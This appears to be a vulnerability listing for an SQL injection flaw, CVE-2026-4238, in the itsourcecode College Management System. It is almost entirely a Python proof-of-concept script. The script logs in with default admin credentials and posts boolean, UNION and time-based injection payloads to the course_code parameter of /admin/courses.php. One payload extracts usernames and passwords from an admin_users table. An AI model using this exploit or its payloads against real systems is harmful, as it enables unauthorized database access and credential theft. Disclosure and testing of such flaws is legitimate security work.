CVE-2026-4238 itsourcecode College Management System SQL注入漏洞

# CVE-2026-4238 SQL Injection PoC # Target: itsourcecode College Management System 1.0 # Vulnerability: /admin/courses.php course_code parameter import requests import sys target = "http://target.com/admin/courses.php" login_url = "http://target.com/admin/login.php" # Admin credentials credentials = { "username": "admin", "password": "admin" } def login(): """Login as admin to obtain session""" session = requests.Session() response = session.post(login_url, data=credentials) return session if "success" in response.text else None def extract_data(session, payload): """Send malicious payload to extract data""" data = { "course_code": payload, "action": "search" } response = session.post(target, data=data) return response # Boolean-based blind SQL injection payloads = [ "' AND 1=1 --", "' AND 1=2 --", "' UNION SELECT NULL,NULL,username,password FROM admin_users --", "' AND (SELECT COUNT(*) FROM users) > 0 --", "admin' AND SLEEP(5) --" ] print("CVE-2026-4238 SQL Injection Test") print("=" * 50) session = login() if session: for payload in payloads: print(f"Testing payload: {payload}") response = extract_data(session, payload) if response.status_code == 200: print("Payload executed successfully") else: print("Authentication failed")